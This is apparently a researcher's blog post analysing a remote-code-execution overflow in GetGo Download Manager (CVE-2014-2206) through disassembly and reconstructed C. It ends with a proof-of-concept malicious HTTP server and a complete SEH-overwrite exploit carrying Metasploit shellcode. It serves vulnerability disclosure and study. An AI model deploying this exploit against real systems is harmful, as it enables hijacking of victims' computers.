I’ve published another security advisory about a remote code execution vulnerability with a CVSS score of 10,0 today. Affected are all available versions of the GetGo Download Manager, so if you’re still using this software you should immediately switch to a more secure one, because the GetGo project is dead, but still high-rated by cnet.com.
This article is a quick’n’dirty root-cause analysis of the bug, tested using a fully patched, DEP-enabled Windows 7×64:
When a website is requested for download, the application reads the HTTP Response Header values of the target page and copies the retrieved values to a temporary buffer, which is set to a fixed size of 4097 bytes, but this size is not used by the application to limit the input to the buffer. Instead it fills the buffer byte by byte until the terminating sequence “\r\n” is found. Therefore the application writes outside the expected memory boundaries if the HTTP Response Header is greater than 4097 bytes.
Let’s have a look at how the application handles HTTP downloads.
When you request to download a webpage like this, the debugger jumps in at the breakpoint at 0x004A4CF4, which is the entry point to the vulnerable code part:
004A4CDE . 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 004A4CE1 . 51 PUSH ECX ; /Arg3 004A4CE2 . 68 01100000 PUSH 1001 ; |Arg2 = 00001001 004A4CE7 . 8D95 DCEFFFFF LEA EDX,DWORD PTR SS:[EBP-1024] ; | 004A4CED . 52 PUSH EDX ; |Arg1 004A4CEE . 8B8D 9CEFFFFF MOV ECX,DWORD PTR SS:[EBP-1064] ; | 004A4CF4 . E8 77EDFFFF CALL GetGoDM.004A3A70 ; \GetGoDM.004A3A70
The function call takes 3 arguments to further process them. A mapped c-style function call might look like this:
int vuln_func(void *buffer, size_t arg2, int arg3)
The stack contains the three arguments, whereat Arg1 points to a buffer at 0x0430C390, Arg2 is 0x00001001 and Arg3 is 0x00000078:
A small side-notice: You can completely ignore Arg3 in this vulnerability-case, because this value is only used as the timeout value for a ws2_32 select call which is involved in reading the bytes from the socket:
WTF happens here ?
The first important instruction set in vuln_func() is located at:
004A3A9F |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004A3AA2 |. 50 PUSH EAX 004A3AA3 |. 6A 00 PUSH 0 004A3AA5 |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 004A3AA8 |. 51 PUSH ECX 004A3AA9 |. E8 F2650400 CALL GetGoDM.004EA0A0
The function call at 0x004A3AA9 takes the same 3 arguments like the calling function, which are pushed on the stack:
0430C2E4 0430C390 | arg1 0430C2E8 00000000 | arg2 0430C2EC 00001001 | arg3
It performs a simple memset call – so the function call looks like this:
void memset(void *arg1, int arg2, size_t arg3)
Memset simply fills up memory space (arg1) with some unsigned char values (arg2) up to a specified number of bytes (arg3). This means that the buffer space at 0x430C390 is cleared out with 4097 bytes of 0x00s.
Next up: The vulnerable code part:
I think this really needs some clarification and therefore I divide this loop into two pieces.
Part #1 – Read one byte of the HTTP response header
004A3AE3 |. 8B45 10 |MOV EAX,DWORD PTR SS:[EBP+10] 004A3AE6 |. 50 |PUSH EAX ; /Arg3 004A3AE7 |. 6A 01 |PUSH 1 ; |Arg2 = 00000001 004A3AE9 |. 8B4D F0 |MOV ECX,DWORD PTR SS:[EBP-10] ; | 004A3AEC |. 8B55 08 |MOV EDX,DWORD PTR SS:[EBP+8] ; | 004A3AEF |. 8D440A FF |LEA EAX,DWORD PTR DS:[EDX+ECX-1] ; | 004A3AF3 |. 50 |PUSH EAX ; |Arg1 004A3AF4 |. 8B4D D8 |MOV ECX,DWORD PTR SS:[EBP-28] ; | 004A3AF7 |. 83C1 0C |ADD ECX,0C ; | 004A3AFA |. E8 81A4FFFF |CALL GetGoDM.0049DF80 ; \GetGoDM.0049DF80
The call at 0x004A3AFA takes three arguments:
int read_byte(void *buffer, char *arg2, int arg3)
whereas the first argument arg1 points to the buffer, arg2 is always 0x00000001 and arg3 is always 0x00000078. This function simply reads 1 byte from the received HTTP response header, puts the value into the buffer and returns 1 if the byte was successfully read.
A CMP instruction at the end indicates whether the byte was successfully read, otherwise the function will jump out of the loop at 0x004A3B0F.
004A3AFF |. 8945 E8 |MOV DWORD PTR SS:[EBP-18],EAX 004A3B02 |. 837D E8 00 |CMP DWORD PTR SS:[EBP-18],0 004A3B06 |. 75 09 |JNZ SHORT GetGoDM.004A3B11 004A3B08 |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0 004A3B0F |. EB 49 |JMP SHORT GetGoDM.004A3B5A
Part #2 – Compare the received string to “\r\n”
004A3B26 |. 6A 00 |PUSH 0 ; /Arg2 = 00000000 004A3B28 |. 68 F8D76600 |PUSH GetGoDM.0066D7F8 ; |Arg1 = 0066D7F8 ASCII " " 004A3B2D |. 8D4D E4 |LEA ECX,DWORD PTR SS:[EBP-1C] ; | 004A3B30 |. E8 2B5AF6FF |CALL GetGoDM.00409560 ; \GetGoDM.00409560
The function call at 0x004A3B30 takes at the first look only two parameters – Arg1 contains a string-sequence which translates to “\r\n” and Arg2 is always 0x00000000.
Additionally the function itself reads the already received bytes from the stack to compare both values:
0040959E |. 0345 0C ADD EAX,DWORD PTR SS:[EBP+C] ; | 004095A1 |. 50 PUSH EAX ; |Arg1 004095A2 |. E8 79120A00 CALL GetGoDM.004AA820 ; \GetGoDM.004AA820
So the function call looks like this:
signed int search_teminator(*buffer, "\r\n", 0)
This function returns -1 if the string “\r\n” was not found, this leads to the following CMP:
004A3B38 |. 837D E0 FF |CMP DWORD PTR SS:[EBP-20],-1 004A3B3C |. 74 11 |JE SHORT GetGoDM.004A3B4F
The return value of the function search_teminator() is CMP’ed to -1, which means the JMP is taken and the application continues to execute the following instructions including a JMP back to the beginning of the code-part:
004A3B4F |> 8B55 F0 |MOV EDX,DWORD PTR SS:[EBP-10] 004A3B52 |. 83C2 01 |ADD EDX,1 004A3B55 |. 8955 F0 |MOV DWORD PTR SS:[EBP-10],EDX 004A3B58 |.^EB 80 \JMP SHORT GetGoDM.004A3ADA
But if the string “\r\n” is found the function search_terminator() returns the position of the string, which leads to the CMP statement returning false” and the following statements are executed including a jump out of the loop:
004A3B3E |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8] 004A3B41 |. 0345 E0 |ADD EAX,DWORD PTR SS:[EBP-20] 004A3B44 |. C600 00 |MOV BYTE PTR DS:[EAX],0 004A3B47 |. 8B4D E0 |MOV ECX,DWORD PTR SS:[EBP-20] 004A3B4A |. 894D EC |MOV DWORD PTR SS:[EBP-14],ECX 004A3B4D |. EB 0B |JMP SHORT GetGoDM.004A3B5A
Reverse Engineering
The vulnerable code-part can be roughly translated to a C code snippet like:
int vuln_func(void *buffer, size_t arg2, int arg3) { int a; signed int b; memset(void *buffer, 0, arg2); while (1) { a = read_byte(*buffer, 1 , arg3) if ( !a ) { goto fail; } b = search_terminator(*buffer, "\r\n", 0) if ( b != -1 ) break; } fail: return 0; }
Do you see the problem here ? The size argument (arg2) is used to prepare memory space using memset, but the loop reads all bytes from the header response until there’s a “\r\n” completely ignoring arg2. Now…if an attacker is able to supply more than 4097 bytes as the HTTP response header, the loop writes outside the expected memory boundaries, which leads to a stack-based buffer overflow condition, resulting in Remote Code Execution.
One PoC to pwn it
The following PoC creates an arbitrary webserver, that responds with an over-sized HTTP header:
from socket import * from time import sleep host = "192.168.0.1" port = 80 s = socket(AF_INET, SOCK_STREAM) s.bind((host, port)) s.listen(1) print "\n[+] Listening on %d ..." % port cl, addr = s.accept() print "[+] Connection accepted from %s" % addr[0] payload = "\xCC" * 9000 buffer = "HTTP/1.1 200 "+payload+"\r\n" print cl.recv(1000) cl.send(buffer) print "[+] Sending buffer: OK\n" sleep(1) cl.close() s.close()
…and this results in EIP control. Pretty cool :-)!
Update #1
I’ve just released a working exploit over at Exploit-DB for this vulnerability. Enjoy!
#!/usr/bin/python # Exploit Title: GetGo Download Manager HTTP Response Header Buffer Overflow Remote Code Execution # Version: v4.9.0.1982 # CVE: CVE-2014-2206 # Date: 2014-03-09 # Author: Julien Ahrens (@MrTuxracer) # Homepage: https://www.rcesecurity.com # Software Link: http://www.getgosoft.com # Tested on: WinXP SP3-GER # # Howto / Notes: # SEH overwrite was taken from outside of loaded modules, because all modules are SafeSEH-enabled # from socket import * from time import sleep from struct import pack host = "192.168.0.1" port = 80 s = socket(AF_INET, SOCK_STREAM) s.bind((host, port)) s.listen(1) print "\n[+] Listening on %d ..." % port cl, addr = s.accept() print "[+] Connection accepted from %s" % addr[0] junk0 = "\x90" * 4107 nseh = "\x90\x90\xEB\x06" seh=pack('L',0x00280b0b) # call dword ptr ss:[ebp+30] [SafeSEH Bypass] nops = "\x90" * 50 # windows/exec CMD=calc.exe # Encoder: x86/shikata_ga_nai # powered by Metasploit # msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d' shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" + "\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" + "\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" + "\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" + "\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" + "\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" + "\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" + "\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" + "\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" + "\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" + "\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" + "\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" + "\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" + "\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" + "\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" + "\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" + "\xa5\x59\x50") payload = junk0 + nseh + seh + nops + shellcode buffer = "HTTP/1.1 200 "+payload+"\r\n" print cl.recv(1000) cl.send(buffer) print "[+] Sending buffer: OK\n" sleep(3) cl.close() s.close()